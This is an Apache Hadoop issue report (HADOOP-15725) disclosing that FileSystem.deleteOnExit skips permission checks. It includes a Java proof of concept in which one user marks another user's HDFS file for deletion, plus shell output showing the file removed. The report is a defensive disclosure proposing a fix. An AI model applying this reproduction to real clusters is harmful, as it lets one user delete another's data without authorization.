Oleksandr Shevchenko created HADOOP-15725:
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Summary: FileSystem.deleteOnExit should check user permissions
Key: HADOOP-15725
URL: https://issues.apache.org/jira/browse/HADOOP-15725
Project: Hadoop Common
Issue Type: Bug
Reporter: Oleksandr Shevchenko
Attachments: deleteOnExitReproduce
For now, we able to add any file to FileSystem deleteOnExit list. It leads to
security problems. Some user (Intruder) can get file system instance which was
created by another user (Owner) and mark any files to delete even if "Intruder"
doesn't have any access to this files. Later when "Owner" invoke close method
(or JVM is shut down since we have ShutdownHook which able to close all file
systems) marked files will be deleted successfully since deleting was do behalf
of "Owner" (or behalf of a user who ran a program).
I attached the patch [^deleteOnExitReproduce] which reproduces this possibility
and also I able to reproduce it on a cluster with both Local and Distributed
file systems:
{code}
public class Main {
public static void main(String[] args) throws Exception {
final FileSystem fs;
Configuration conf = new Configuration();
conf.set("fs.default.name", "hdfs://node:9000");
conf.set("fs.hdfs.impl",
org.apache.hadoop.hdfs.DistributedFileSystem.class.getName()
);
fs = FileSystem.get(conf);
System.out.println(fs);
Path f = new Path("/user/root/testfile");
System.out.println(f);
UserGroupInformation hive = UserGroupInformation.createRemoteUser("hive");
hive.doAs((PrivilegedExceptionAction<Boolean>) () -> fs.deleteOnExit(f));
System.out.println(Arrays.asList(hive.getGroupNames()).toString());
fs.close();
}
{code}
Result:
{noformat}
root@node:/# hadoop fs -put testfile /user/root
root@node:/# hadoop fs -chown 700 /user/root/testfile
root@node:/# hadoop fs -ls /user/root
Found 1 items
-rw-r--r-- 1 700 supergroup 0 2018-09-06 18:07 /user/root/testfile
root@node:/# java -jar testDeleteOther.jar
log4j:WARN No appenders could be found for logger
(org.apache.hadoop.conf.Configuration.deprecation).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more
info.
DFS[DFSClient[clientName=DFSClient_NONMAPREDUCE_309539034_1, ugi=root
(auth:SIMPLE)]]
/user/root/testfile
[]
root@node:/# hadoop fs -ls /user/root
{noformat}
We should add a check user permissions before mark a file to delete.
Could someone evaluate this? And if no one objects I would like to start
working on this.
Thanks a lot for any comments.
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